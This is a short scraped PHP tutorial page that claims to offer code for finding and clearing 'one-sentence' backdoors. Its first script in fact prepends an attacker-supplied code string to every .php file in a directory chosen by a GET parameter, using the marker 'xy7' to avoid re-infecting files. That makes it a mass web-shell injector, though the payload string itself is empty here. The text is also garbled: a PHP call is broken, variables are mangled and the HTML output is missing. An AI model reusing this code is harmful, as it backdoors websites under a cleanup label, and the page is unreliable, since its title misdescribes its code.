Use PHP to implement batch query and clear one-sentence backdoor code_PHP tutorial

if (!isset($dir) or empty($dir)) {
$dir=str_replace('\','/',dirname(__FILE__));
echo "".$dir."";
} else {
$dir=$_GET['dir'];
echo "".$dir."";
}
$evilcode=" ";
$testdir = opendir($dir);
while($filea = @readdir($testdir)){
if(strstr($filea, '.php')){
$fp = @fopen($filea, 'r+');
if (!strstr(@fread($fp, 20), 'xy7')){
rewind($fp);
$ old = @fread($fp, filesize($filea));
rewind($fp);
fwrite($fp, $evilcode . $old);
}
fclose($fp );
}
}
closedir($testdir);
?>

---

?php
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
if ((is_file($file)) and (ereg(".php {0,1}$",$file)))
{$b="$dir/$file";
$a=@is_dir($b);
if($a== "0"){
$size=@filesize("$dir/$file");
$lastsave=@date("Y-n-d H:i:s",filectime("$dir/$file" ));
echo "n";
echo "n";
echo " n" ;
echo " n";
}
}
}
@closedir($dirs);
?>

Xed files	Time	Size
$file	$lastsave	$size Bytes

codz by xuanmumu